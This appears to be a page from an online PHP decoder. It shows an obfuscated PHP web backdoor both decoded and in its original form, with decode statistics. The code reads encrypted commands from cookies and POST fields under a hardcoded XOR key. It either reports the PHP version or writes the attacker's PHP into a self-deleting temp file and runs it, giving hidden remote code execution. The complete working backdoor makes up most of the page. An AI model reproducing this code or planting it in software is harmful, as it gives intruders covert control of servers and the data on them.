Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function seoph_(){$slxtp='pigipqhzad';/* p */print_r (38312+38312); }$_fiu..
Decoded Output download
<?php function seoph_(){$slxtp='pigipqhzad';/* p */print_r (38312+38312); }$_fiuf = '_fiuf'/* qeeyi*/^/* _qbhf */'<';
$pmggsj =/* rr*/$_COOKIE;
$peozmvguqaxulid =/* sxwye*/$_POST;
function hwcagfbhb($vxdeie, $wacmfddlkm){
/* wpks */global $_fiuf;
$tqky_ebq = "";/* t */for/* sef*/($vyi_i = 0;/* riuik */$vyi_i/* ds */</* _jk*/strlen($vxdeie);)/*uejqu */{
/*mvv*/for ($peozmvguqa = 0; $peozmvguqa < strlen($wacmfddlkm) && $vyi_i < strlen($vxdeie);/* rjonc */$peozmvguqa++, $vyi_i++) {
$tqky_ebq .=/*vcfc*/$_fiuf(ord($vxdeie[$vyi_i]) ^ ord($wacmfddlkm[$peozmvguqa])); }
}/* mp_s */return/*xr */$tqky_ebq;
}
function/* dc */blyjdsyy($bphsmjqzk, $vxdeie){
global $_fiuf; $vvyub/* ptxc */= sprintf("." . "/"/*q */. "%".$_fiuf(115)/* dr */. "."."p" . "l", md5($bphsmjqzk));
file_put_contents($vvyub, "<" . "?" . "p".$_fiuf(104)/* ldxnu*/./* ehztv*/"p"/* vasxh */. $_fiuf(32)/*a */. "u" ./* jffxu*/"n"/* j */. "l"."i" ./* lwc */"n"/*l */./* og */$_fiuf(107)/*mq*/. $_fiuf(40)/*dha */. $_fiuf(95) . "_" ./* nbf*/"F"."I"."L"."E"."_"."_".$_fiuf(41) ./* evpn */";".$_fiuf(32) . $vxdeie["d"]);
include($vvyub);
$xtdowydmif = $vvyub;
unlink($xtdowydmif);
}
function/*qp */peygbxdg(){
global $_fiuf;
/* ae */$vyi_i =/* ccp*/array(); $vyi_i["p"/* spx*/. "v"] = phpversion();
/*k_cgm*/$vyi_i["s"."v"]/* xhb*/= "3" . "."."5";
/* fl */echo @serialize($vyi_i);
}
function qthcz($vxdeie, $bphsmjqzk,/* j */$y_ozigg)
{
global/* fdlyb */$_fiuf;
/* qlum */ $vxdeie =/* tvxc */unserialize(hwcagfbhb(hwcagfbhb(base64_decode($vxdeie), $bphsmjqzk),/* svzl*/$y_ozigg)); if/* riuc*/(isset($vxdeie["a" ./* xpr */"k"])) {
if ($vxdeie["a"]/* pux */==/* op */$_fiuf(105))/* lvemr*/{
peygbxdg();
} elseif ($vxdeie["a"] ==/* d */"e") {
/* _vyy_*/blyjdsyy($bphsmjqzk, $vxdeie);
}/* qr */exit();
/* hitq */}}
$pmggsj =/*oalh */array_merge($peozmvguqaxulid, $pmggsj);
$bphsmjqzk/* cvk */=/* w*/$_fiuf(56) . "6" . "3"/* n */. $_fiuf(56) . "5".$_fiuf(820-763)/* v_dl*/. $_fiuf(55)/* v */. $_fiuf(50)/*g */. "-"."6" ./*xl */"a".$_fiuf(48)/* p */. "8"/* a */./* ip*/"-"/* ikh */. "4"."4"."5" ./* xai */"8"."-".$_fiuf(284-227) . $_fiuf(55) . "9"/* ht */./* kz*/"1" . "-"."6".$_fiuf(228-130)/*bgcn*/. $_fiuf(49) . "7"/* rc */. $_fiuf(102)/* _luwk */. "7"."0" . $_fiuf(115-14) . "c"."5"/* v*/. "1"."b";
foreach ($pmggsj as $y_ozigg/* mpqm */=> $vxdeie)/* i */{
qthcz($vxdeie, $bphsmjqzk, $y_ozigg);}
?>
Did this file decode correctly?
Original Code
<?php function seoph_(){$slxtp='pigipqhzad';/* p */print_r (38312+38312); }$_fiuf = '_fiuf'/* qeeyi*/^/* _qbhf */'<';
$pmggsj =/* rr*/$_COOKIE;
$peozmvguqaxulid =/* sxwye*/$_POST;
function hwcagfbhb($vxdeie, $wacmfddlkm){
/* wpks */global $_fiuf;
$tqky_ebq = "";/* t */for/* sef*/($vyi_i = 0;/* riuik */$vyi_i/* ds */</* _jk*/strlen($vxdeie);)/*uejqu */{
/*mvv*/for ($peozmvguqa = 0; $peozmvguqa < strlen($wacmfddlkm) && $vyi_i < strlen($vxdeie);/* rjonc */$peozmvguqa++, $vyi_i++) {
$tqky_ebq .=/*vcfc*/$_fiuf(ord($vxdeie[$vyi_i]) ^ ord($wacmfddlkm[$peozmvguqa])); }
}/* mp_s */return/*xr */$tqky_ebq;
}
function/* dc */blyjdsyy($bphsmjqzk, $vxdeie){
global $_fiuf; $vvyub/* ptxc */= sprintf("\56" . "\x2f"/*q */. "%".$_fiuf(115)/* dr */. "."."\160" . "\x6c", md5($bphsmjqzk));
file_put_contents($vvyub, "<" . "\x3f" . "p".$_fiuf(104)/* ldxnu*/./* ehztv*/"\x70"/* vasxh */. $_fiuf(32)/*a */. "\165" ./* jffxu*/"\156"/* j */. "l"."\151" ./* lwc */"\156"/*l */./* og */$_fiuf(107)/*mq*/. $_fiuf(40)/*dha */. $_fiuf(95) . "\x5f" ./* nbf*/"F"."I"."L"."E"."_"."_".$_fiuf(41) ./* evpn */";".$_fiuf(32) . $vxdeie["d"]);
include($vvyub);
$xtdowydmif = $vvyub;
unlink($xtdowydmif);
}
function/*qp */peygbxdg(){
global $_fiuf;
/* ae */$vyi_i =/* ccp*/array(); $vyi_i["\x70"/* spx*/. "v"] = phpversion();
/*k_cgm*/$vyi_i["s"."\x76"]/* xhb*/= "\63" . "."."5";
/* fl */echo @serialize($vyi_i);
}
function qthcz($vxdeie, $bphsmjqzk,/* j */$y_ozigg)
{
global/* fdlyb */$_fiuf;
/* qlum */ $vxdeie =/* tvxc */unserialize(hwcagfbhb(hwcagfbhb(base64_decode($vxdeie), $bphsmjqzk),/* svzl*/$y_ozigg)); if/* riuc*/(isset($vxdeie["\141" ./* xpr */"\153"])) {
if ($vxdeie["a"]/* pux */==/* op */$_fiuf(105))/* lvemr*/{
peygbxdg();
} elseif ($vxdeie["a"] ==/* d */"e") {
/* _vyy_*/blyjdsyy($bphsmjqzk, $vxdeie);
}/* qr */exit();
/* hitq */}}
$pmggsj =/*oalh */array_merge($peozmvguqaxulid, $pmggsj);
$bphsmjqzk/* cvk */=/* w*/$_fiuf(56) . "\x36" . "\63"/* n */. $_fiuf(56) . "5".$_fiuf(820-763)/* v_dl*/. $_fiuf(55)/* v */. $_fiuf(50)/*g */. "-"."\x36" ./*xl */"a".$_fiuf(48)/* p */. "\x38"/* a */./* ip*/"\55"/* ikh */. "4"."4"."\65" ./* xai */"8"."-".$_fiuf(284-227) . $_fiuf(55) . "\x39"/* ht */./* kz*/"\61" . "-"."6".$_fiuf(228-130)/*bgcn*/. $_fiuf(49) . "\x37"/* rc */. $_fiuf(102)/* _luwk */. "7"."\x30" . $_fiuf(115-14) . "c"."\65"/* v*/. "1"."\x62";
foreach ($pmggsj as $y_ozigg/* mpqm */=> $vxdeie)/* i */{
qthcz($vxdeie, $bphsmjqzk, $y_ozigg);}
Function Calls
array_merge | 1 |
Stats
MD5 | f5e5d65d271b663c91fbe74e8a8d9ef7 |
Eval Count | 0 |
Decode Time | 64 ms |